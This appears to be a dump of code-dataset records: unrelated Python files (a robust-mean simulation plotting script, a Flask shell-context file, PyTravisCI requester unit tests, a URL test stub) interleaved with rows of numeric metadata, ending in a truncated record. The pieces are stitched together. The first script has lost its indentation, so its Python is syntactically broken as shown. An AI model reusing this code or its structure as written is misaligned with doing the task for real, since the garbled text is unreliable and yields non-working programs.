pareto_data_dict = plot_data(alpha_list,pareto_error_dict)
title = "Par(1, 2)"
plot_fig1(alpha_list,pareto_data_dict,title)
# ===========================================================================================================
# Figure 2
# ===========================================================================================================
# -------------
# Figure 2 Plot
# -------------
def plot_fig2(par_list,data_dict,title):
f = plt.figure()
plt.plot(par_list, data_dict["sample_mean_error_99quantile_array"], color = "red", label = "Sample Mean", linestyle="-")
plt.plot(par_list, data_dict["huber_mean_error_99quantile_array"], color = "blue", label = "DA-Huber", linestyle="--")
plt.plot(par_list, data_dict["agdBB_mean_error_99quantile_array"], color = "yellow", label = "AGD_BB", linestyle="-.")
plt.plot(par_list, data_dict["agd_mean_error_99quantile_array"], color = "green", label = "AGD", linestyle=":")
plt.xlabel('Parameter')
plt.ylabel('Estimation error')
plt.legend()
plt.title(title)
#plt.show()
f.savefig(title+"_figure_2.png", dpi=300)
# -------------------
# Normal Distribution
# -------------------
def normal_par_simulation(par_list,mu,n=100,simulation_number=2000):
sample_mean_error_99quantile_array = []
huber_mean_error_99quantile_array = []
agdBB_mean_error_99quantile_array = []
agd_mean_error_99quantile_array = []
for par in tqdm(par_list):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in range(0,simulation_number):
sample = np.random.normal(mu,par,n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
sample_mean_error_99quantile_array = np.append(sample_mean_error_99quantile_array,np.quantile(sample_mean_error_array,0.99))
huber_mean_error_99quantile_array = np.append(huber_mean_error_99quantile_array,np.quantile(huber_mean_error_array,0.99))
agdBB_mean_error_99quantile_array = np.append(agdBB_mean_error_99quantile_array,np.quantile(agdBB_mean_error_array,0.99))
agd_mean_error_99quantile_array = np.append(agd_mean_error_99quantile_array,np.quantile(agd_mean_error_array,0.99))
return {"sample_mean_error_99quantile_array":sample_mean_error_99quantile_array,
"huber_mean_error_99quantile_array":huber_mean_error_99quantile_array,
"agdBB_mean_error_99quantile_array":agdBB_mean_error_99quantile_array,
"agd_mean_error_99quantile_array":agd_mean_error_99quantile_array}
mu = 0
normal_sigma_list = [round(x,2) for x in np.arange(1, 4.1, 0.05)]
normal_quantile_dict = normal_par_simulation(normal_sigma_list,mu)
title = "Normal distribution"
plot_fig2(normal_sigma_list,normal_quantile_dict,title)
# ---------------------------------
# Skewed Generalized t Distribution
# ---------------------------------
def sgt_par_simulation(par_list,mu,lam,n=100,simulation_number=2000):
sample_mean_error_99quantile_array = []
huber_mean_error_99quantile_array = []
agdBB_mean_error_99quantile_array = []
agd_mean_error_99quantile_array = []
for par in tqdm(par_list):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in range(0,simulation_number):
sample = SST(mu, np.sqrt(par/(par-2)), lam, par).r(n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
sample_mean_error_99quantile_array = np.append(sample_mean_error_99quantile_array,np.quantile(sample_mean_error_array,0.99))
huber_mean_error_99quantile_array = np.append(huber_mean_error_99quantile_array,np.quantile(huber_mean_error_array,0.99))
agdBB_mean_error_99quantile_array = np.append(agdBB_mean_error_99quantile_array,np.quantile(agdBB_mean_error_array,0.99))
agd_mean_error_99quantile_array = np.append(agd_mean_error_99quantile_array,np.quantile(agd_mean_error_array,0.99))
return {"sample_mean_error_99quantile_array":sample_mean_error_99quantile_array,
"huber_mean_error_99quantile_array":huber_mean_error_99quantile_array,
"agdBB_mean_error_99quantile_array":agdBB_mean_error_99quantile_array,
"agd_mean_error_99quantile_array":agd_mean_error_99quantile_array}
mu = 0
lam = 0.75
q_list = [round(x,2) for x in np.arange(2.5, 4.1, 0.05)]
sgt_quantile_dict = sgt_par_simulation(q_list,mu,lam)
title = "Skewed generalized t distribution"
plot_fig2(q_list,sgt_quantile_dict,title)
# ----------------------
# Lognormal Distribution
# ----------------------
def lognormal_par_simulation(par_list,mu,n=100,simulation_number=2000):
sample_mean_error_99quantile_array = []
huber_mean_error_99quantile_array = []
agdBB_mean_error_99quantile_array = []
agd_mean_error_99quantile_array = []
for par in tqdm(par_list):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in range(0,simulation_number):
sample = np.random.lognormal(mu,par,n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
sample_mean_error_99quantile_array = np.append(sample_mean_error_99quantile_array,np.quantile(sample_mean_error_array,0.99))
huber_mean_error_99quantile_array = np.append(huber_mean_error_99quantile_array,np.quantile(huber_mean_error_array,0.99))
agdBB_mean_error_99quantile_array = np.append(agdBB_mean_error_99quantile_array,np.quantile(agdBB_mean_error_array,0.99))
agd_mean_error_99quantile_array = np.append(agd_mean_error_99quantile_array,np.quantile(agd_mean_error_array,0.99))
return {"sample_mean_error_99quantile_array":sample_mean_error_99quantile_array,
"huber_mean_error_99quantile_array":huber_mean_error_99quantile_array,
"agdBB_mean_error_99quantile_array":agdBB_mean_error_99quantile_array,
"agd_mean_error_99quantile_array":agd_mean_error_99quantile_array}
mu = 0
lognormal_sigma_list = [round(x,3) for x in np.arange(0.25, 2.01, 0.05)]
lognormal_quantile_dict = lognormal_par_simulation(lognormal_sigma_list,mu)
title = "Lognormal distribution"
plot_fig2(lognormal_sigma_list,lognormal_quantile_dict,title)
# -------------------
# Pareto Distribution
# -------------------
def pareto_par_simulation(par_list,scale,n=100,simulation_number=2000):
sample_mean_error_99quantile_array = []
huber_mean_error_99quantile_array = []
agdBB_mean_error_99quantile_array = []
agd_mean_error_99quantile_array = []
for par in tqdm(par_list):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
mu = (par*scale)/(par-1)
for i in range(0,simulation_number):
sample = (np.random.pareto(par, n) + 1) * scale
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
sample_mean_error_99quantile_array = np.append(sample_mean_error_99quantile_array,np.quantile(sample_mean_error_array,0.99))
huber_mean_error_99quantile_array = np.append(huber_mean_error_99quantile_array,np.quantile(huber_mean_error_array,0.99))
agdBB_mean_error_99quantile_array = np.append(agdBB_mean_error_99quantile_array,np.quantile(agdBB_mean_error_array,0.99))
agd_mean_error_99quantile_array = np.append(agd_mean_error_99quantile_array,np.quantile(agd_mean_error_array,0.99))
return {"sample_mean_error_99quantile_array":sample_mean_error_99quantile_array,
"huber_mean_error_99quantile_array":huber_mean_error_99quantile_array,
"agdBB_mean_error_99quantile_array":agdBB_mean_error_99quantile_array,
"agd_mean_error_99quantile_array":agd_mean_error_99quantile_array}
scale = 1
shape_list = [round(x,2) for x in np.arange(1.5, 3.1, 0.05)]
pareto_quantile_dict = pareto_par_simulation(shape_list, scale)
title = "Pareto distribution"
plot_fig2(shape_list,pareto_quantile_dict,title)
| 46.720812
| 132
| 0.701977
| 2,613
| 18,408
| 4.495982
| 0.04669
| 0.242084
| 0.17637
| 0.171604
| 0.842526
| 0.82414
| 0.78507
| 0.762428
| 0.719016
| 0.706418
| 0
| 0.026998
| 0.146838
| 18,408
| 394
| 133
| 46.720812
| 0.721044
| 0.07676
| 0
| 0.633333
| 0
| 0
| 0.097421
| 0.06597
| 0
| 0
| 0
| 0
| 0
| 1
| 0.036667
| false
| 0
| 0.016667
| 0
| 0.083333
| 0.016667
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
cb0adcba566828eea49cbacdea2367546510eef1
| 189
|
py
|
Python
|
run.py
|
kutayeroglu/sqlite-db-api
|
4ec233d55b560a4dbac7f34683de6e72e47bf84e
|
[
"MIT"
] | null | null | null |
run.py
|
kutayeroglu/sqlite-db-api
|
4ec233d55b560a4dbac7f34683de6e72e47bf84e
|
[
"MIT"
] | null | null | null |
run.py
|
kutayeroglu/sqlite-db-api
|
4ec233d55b560a4dbac7f34683de6e72e47bf84e
|
[
"MIT"
] | null | null | null |
from application import app, db
from application.models import User, Action
@app.shell_context_processor
def make_shell_context():
return {'db' : db, 'user' : User, 'action': Action}
| 27
| 55
| 0.740741
| 26
| 189
| 5.230769
| 0.538462
| 0.220588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 189
| 6
| 56
| 31.5
| 0.844721
| 0
| 0
| 0
| 0
| 0
| 0.063492
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
cb3b8423b06551eb4375ff4e9b3ad8a83e759e03
| 20,239
|
py
|
Python
|
tests/test_requester.py
|
itomaldonado/PyTravisCI
|
0b6d4ce84d7b0c596e3174d96753a2c1d8e4b280
|
[
"MIT"
] | 3
|
2020-03-18T09:15:40.000Z
|
2021-12-05T11:09:23.000Z
|
tests/test_requester.py
|
itomaldonado/PyTravisCI
|
0b6d4ce84d7b0c596e3174d96753a2c1d8e4b280
|
[
"MIT"
] | 4
|
2020-12-12T16:10:13.000Z
|
2021-04-12T07:07:08.000Z
|
tests/test_requester.py
|
itomaldonado/PyTravisCI
|
0b6d4ce84d7b0c596e3174d96753a2c1d8e4b280
|
[
"MIT"
] | 1
|
2021-03-11T15:33:46.000Z
|
2021-03-11T15:33:46.000Z
|
"""
Just another Python API for Travis CI (API).
A module which provides the tests of our requester module.
Author:
Nissar Chababy, @funilrys, contactTATAfunilrysTODTODcom
Project link:
https://github.com/funilrys/PyTravisCI
Project documentation:
https://pytravisci.readthedocs.io/en/latest/
License
::
MIT License
Copyright (c) 2019, 2020 Nissar Chababy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import json
import secrets
from unittest import TestCase
from unittest import main as launch_tests
from unittest.mock import patch
import requests
from PyTravisCI.__about__ import __version__
from PyTravisCI.exceptions import TravisCIError
from PyTravisCI.requester import Requester
class RequesterTest(TestCase):
"""
Provides the tests of the requester class.
"""
# pylint: disable=too-many-public-methods
def test_default_header(self) -> None:
"""
Tests if the expected header is set.
"""
expected_api_version = "3"
expected_user_agent = f"PyTravisCI/{__version__}"
expected = {
"Travis-API-Version": expected_api_version,
"User-Agent": expected_user_agent,
}
requester = Requester()
actual = requester.session.headers
self.assertDictContainsSubset(expected, actual)
def test_authorization_header(self) -> None:
"""
Tests if the authorization header is correctly set.
"""
given_token = secrets.token_urlsafe(16)
expected = {"Authorization": f"token {given_token}"}
requester = Requester()
requester.set_authorization(given_token)
actual = requester.session.headers
self.assertDictContainsSubset(expected, actual)
def test_authorization_header_non_string(self) -> None:
"""
Tests that the method which let us communicate the token
raises an exception if a non-string value is given.
"""
given = True
requester = Requester()
self.assertRaises(TypeError, lambda: requester.set_authorization(given))
def test_set_base_url(self) -> None:
"""
Tests of the method which let us communicate the base url.
"""
given_base_url = "https://example.org/api"
expected = "https://example.org/api"
requester = Requester()
requester.set_base_url(given_base_url)
actual = requester.base_url
self.assertEqual(expected, actual)
def test_set_base_url_ends_with_with_slash(self) -> None:
"""
Tests of the method which let us communicate the base url for the case
that a slash is given at the end of the URL.
"""
given_base_url = "https://example.org/api/"
expected = "https://example.org/api"
requester = Requester()
requester.set_base_url(given_base_url)
actual = requester.base_url
self.assertEqual(expected, actual)
def test_set_base_url_non_string(self) -> None:
"""
Tests of the method which let us communicate the base url for the case
that a non-string is given.
"""
given = True
requester = Requester()
self.assertRaises(TypeError, lambda: requester.set_base_url(given))
def test_bind_endpoint_to_base_url(self) -> None:
"""
Tests of the method which let us bind an endpoint with the previously
given base url.
"""
given_base_url = "https://example.org/api"
given_endpoint = "hello/world"
expected = "https://example.org/api/hello/world"
requester = Requester()
requester.set_base_url(given_base_url)
actual = requester.bind_endpoint_to_base_url(given_endpoint)
self.assertEqual(expected, actual)
def test_bind_endpoint_to_base_url_endpoint_starts_with_slash(self) -> None:
"""
Tests of the method which let us bind an endpoint with the previously
given base url for the case that the given endpoint starts with a slash.
"""
given_base_url = "https://example.org/api"
given_endpoint = "/hello/world"
expected = "https://example.org/api/hello/world"
requester = Requester()
requester.set_base_url(given_base_url)
actual = requester.bind_endpoint_to_base_url(given_endpoint)
self.assertEqual(expected, actual)
def test_bind_endpoint_to_base_url_endpoint_not_string(self) -> None:
"""
Tests of the method which let us bind an endpoint with the previouly
given base url for the case that the given endpoint is a non-string.
"""
given_base_url = "https://example.org/api"
given_endpoint = True
requester = Requester()
requester.set_base_url(given_base_url)
self.assertRaises(
TypeError, lambda: requester.bind_endpoint_to_base_url(given_endpoint)
)
def test_is_error(self) -> None:
"""
Tests of the method which checks if the API response is an error.
"""
expected = True
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
actual = Requester.is_error(given)
self.assertEqual(expected, actual)
def test_is_error_not_error(self) -> None:
"""
Tests of the method whixh checks if the API response is an error for the
case that a normal resource type is given.
"""
expected = False
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
actual = Requester.is_error(given)
self.assertEqual(expected, actual)
def test_get_error_message(self) -> None:
"""
Tests of the method which let us get the actual error message.
"""
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
expected = "repository not found (or insufficient access)"
actual = Requester.get_error_message(given)
self.assertEqual(expected, actual)
def test_get_error_message_not_error(self) -> None:
"""
Tests of the method which let us get the actual error message for the
case that no error is actually given.
"""
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
expected = None
actual = Requester.get_error_message(given)
self.assertEqual(expected, actual)
def test_get_error_message_already_checked(self) -> None:
"""
Tests of the method which let us get the actual error message for the
case that we already know that it is an error.
"""
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
expected = "repository not found (or insufficient access)"
actual = Requester.get_error_message(given, already_checked=True)
self.assertEqual(expected, actual)
def test_get_error_message_fake_already_checked(self) -> None:
"""
Tests of the method which let us get the actual error message for the
case that we "already know" that it is an error but it was just fake.
"""
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
self.assertRaises(
KeyError, lambda: Requester.get_error_message(given, already_checked=True)
)
def test_get_error_type(self) -> None:
"""
Tests of the method which let us get the actual error type.
"""
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
expected = "not_found"
actual = Requester.get_error_type(given)
self.assertEqual(expected, actual)
def test_get_error_type_not_error(self) -> None:
"""
Tests of the method which let us get the actual error type for the
case that no error is actually given.
"""
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
expected = None
actual = Requester.get_error_type(given)
self.assertEqual(expected, actual)
def test_get_error_type_already_checked(self) -> None:
"""
Tests of the method which let us get the actual error type for the
case that we already know that it is an error.
"""
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
expected = "not_found"
actual = Requester.get_error_type(given, already_checked=True)
self.assertEqual(expected, actual)
def test_get_error_type_fake_already_checked(self) -> None:
"""
Tests of the method which let us get the actual error type for the
case that we "already know" that it is an error but it was just fake.
"""
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
self.assertRaises(
KeyError, lambda: Requester.get_error_type(given, already_checked=True)
)
def test_raise_if_error(self) -> None:
"""
Tests of the method which actually raises the exception when the
API response is an error.
"""
given = {
"@type": "error",
"error_type": "not_found",
"error_message": "repository not found (or insufficient access)",
"resource_type": "repository",
}
fake_response = requests.Response()
fake_response.url = "https://example.org"
self.assertRaises(
TravisCIError, lambda: Requester.raise_if_error(fake_response, given)
)
def test_raise_if_error_not_error(self) -> None:
"""
Tests of the method which actually raises the exception when the
API response is an error, but for the case that no error
is given (in the api_response)
"""
given = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
expected = None
fake_response = requests.Response()
fake_response.url = "https://example.org"
actual = Requester.raise_if_error(fake_response, given)
self.assertEqual(expected, actual)
@patch.object(requests.Session, "get")
def test_request_factory(self, mock_session_get):
"""
Tests of the request factory.
"""
given_base_url = "https://example.org/api/"
given_endpoint = "hello/world"
response = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
requester = Requester()
requester.set_base_url(given_base_url)
mock_session_get.return_value.headers = dict()
mock_session_get.return_value.status_code = 200
mock_session_get.return_value.url = "https://example.org/api/hello/world"
mock_session_get.return_value.json.return_value = response
expected = response
actual = requester.get(given_endpoint)
self.assertEqual(expected, actual)
@patch.object(requests.Session, "get")
def test_request_factory_no_json_response(self, mock_session_get):
"""
Tests of the request factory for the case that no JSON is given as response.
"""
given_base_url = "https://example.org/api/"
given_endpoint = "hello/world"
response = {
"@type": "user",
"@href": "/user/4549848944894848948949",
"@representation": "standard",
"@permissions": {"read": True, "sync": True},
"id": 4549848944894848948949,
"login": "foobar",
"name": "Foo Bar",
"github_id": 1148942198798789784897949849484523106,
"vcs_id": "1148942198798789784897949849484523106",
"vcs_type": "GithubUser",
"avatar_url": None,
"education": False,
"allow_migration": False,
"email": "foo@example.org",
"is_syncing": False,
"synced_at": "2020-10-14T14:53:08Z",
"recently_signed_up": False,
"secure_user_hash": None,
}
requester = Requester()
requester.set_base_url(given_base_url)
mock_session_get.return_value.headers = dict()
mock_session_get.return_value.status_code = 200
mock_session_get.return_value.url = "https://example.org/api/hello/world"
mock_session_get.return_value.text = json.dumps(response)
mock_session_get.return_value.json.side_effect = json.decoder.JSONDecodeError(
"hello", "world", 33
)
self.assertRaises(TravisCIError, lambda: requester.get(given_endpoint))
@patch.object(requests.Session, "get")
def test_request_factory_empty_esponse(self, mock_session_get):
"""
Tests of the request factory for the case that an empty response is
given (back).
"""
given_base_url = "https://example.org/api/"
given_endpoint = "hello/world"
requester = Requester()
requester.set_base_url(given_base_url)
mock_session_get.return_value.status_code = 200
mock_session_get.return_value.headers = dict()
mock_session_get.return_value.url = "https://example.org/api/hello/world"
mock_session_get.return_value.text = ""
mock_session_get.return_value.json.side_effect = json.decoder.JSONDecodeError(
"hello", "world", 33
)
self.assertRaises(TravisCIError, lambda: requester.get(given_endpoint))
if __name__ == "__main__":
launch_tests()
| 33.124386
| 86
| 0.601018
| 2,176
| 20,239
| 5.396599
| 0.125919
| 0.025036
| 0.018735
| 0.022992
| 0.814187
| 0.800307
| 0.79409
| 0.781061
| 0.76437
| 0.743933
| 0
| 0.075821
| 0.29621
| 20,239
| 610
| 87
| 33.178689
| 0.748596
| 0.18998
| 0
| 0.771978
| 0
| 0
| 0.244915
| 0.034687
| 0
| 0
| 0
| 0
| 0.065934
| 1
| 0.065934
| false
| 0
| 0.024725
| 0
| 0.093407
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cb79fed291ef1943ce39cb862cd14801ac7cfb58
| 3,200
|
py
|
Python
|
core/tests/utils/test_urls.py
|
samlowe106/Saved-Sorter-For-Reddit
|
470f3621ae8c4ece7d6eda9de5f1270be6b2e848
|
[
"MIT"
] | 1
|
2019-08-01T07:29:37.000Z
|
2019-08-01T07:29:37.000Z
|
core/tests/utils/test_urls.py
|
samlowe106/saved-sorter-for-reddit
|
470f3621ae8c4ece7d6eda9de5f1270be6b2e848
|
[
"MIT"
] | 2
|
2019-08-08T22:08:12.000Z
|
2019-09-15T05:49:35.000Z
|
core/tests/utils/test_urls.py
|
samlowe106/saved-sorter-for-reddit
|
470f3621ae8c4ece7d6eda9de5f1270be6b2e848
|
[
"MIT"
] | null | null | null |
import unittest
""" Unless otherwise stated, none of the URLs used for testing should be dead. """
class TestURLS(unittest.TestCase):
"""Verifies that the URLs module works as intended"""
def test_determine_name(self):
"""Verifies that determine_name works as intended"""
def test_download(self):
"""Verifies that determine_name works as intended"""
def test_get_extension(self):
"""Verifies that determine_name works as intended"""
"""
def test_get_extension(self):
url_extension = [
("https://cdnb.artstation.com/p/assets/images/images/026/326/667/large/eddie-mendoza-last-train.jpg?1588487140", ".jpeg"),
("https://cdnb.artstation.com/p/assets/images/images/026/292/247/large/jessie-lam-acv-ladyeivortweaks.jpg?1588382308", ".jpeg"),
("https://i.imgur.com/l8EbNfy.jpg", ".jpeg"),
("https://i.imgur.com/oPXMrnr.png", ".png"),
("https://i.imgur.com/GeZmbJA.png", ".png")
]
for url, extension in url_extension:
r = requests.get(url)
if r.status_code == 200:
self.assertEqual(extension, urls.get_extension(r))
@sandbox(output_dir := "test_dir")
def test_download_image(self):
# Download files as .jpgs
urls.download_image("https://i.redd.it/qqgds2i3ueh31.jpg", "a", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "a.jpeg")))
urls.download_image("https://i.redd.it/mfqm1x49akgy.jpg", "b", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "b.jpeg")))
urls.download_image("https://i.redd.it/jh0gfb3ktvkz.jpg", "c", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "c.jpeg")))
urls.download_image("https://i.imgur.com/ppqan5G.jpg", "d", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "d.jpeg")))
urls.download_image("https://i.imgur.com/CS8QhJG.jpg", "e", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "e.jpeg")))
urls.download_image("https://i.imgur.com/B6HPXkk.jpg", "f", output_dir, png=False)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "f.jpeg")))
# Download files as .pngs
urls.download_image("https://i.redd.it/qqgds2i3ueh31.jpg", "a", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "a.png")))
urls.download_image("https://i.redd.it/mfqm1x49akgy.jpg", "b", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "b.png")))
urls.download_image("https://i.redd.it/jh0gfb3ktvkz.jpg", "c", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "c.png")))
urls.download_image("https://i.imgur.com/ppqan5G.jpg", "d", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "d.png")))
urls.download_image("https://i.imgur.com/CS8QhJG.jpg", "e", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "e.png")))
urls.download_image("https://i.imgur.com/B6HPXkk.jpg", "f", output_dir, png=True)
self.assertTrue(os.path.isfile(os.path.join(output_dir, "f.png")))
"""
| 41.025641
| 136
| 0.685625
| 480
| 3,200
| 4.458333
| 0.208333
| 0.10514
| 0.095327
| 0.123364
| 0.764486
| 0.737383
| 0.737383
| 0.737383
| 0.721028
| 0.679907
| 0
| 0.023732
| 0.130938
| 3,200
| 78
| 137
| 41.025641
| 0.745775
| 0.05875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.6
| false
| 0
| 0.2
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
cb88170fe507d2c961c658d16654280f7db0e922
| 2,066
|
py
|
Python
|
test/nli.py
|
tu-artem/text
|
9afcfcdfdcb668780aba59fa1d06411645d54dd7
|
[
"BSD-3-Clause"
] | 1
|
2019-06-11T15:25:34.000Z
|
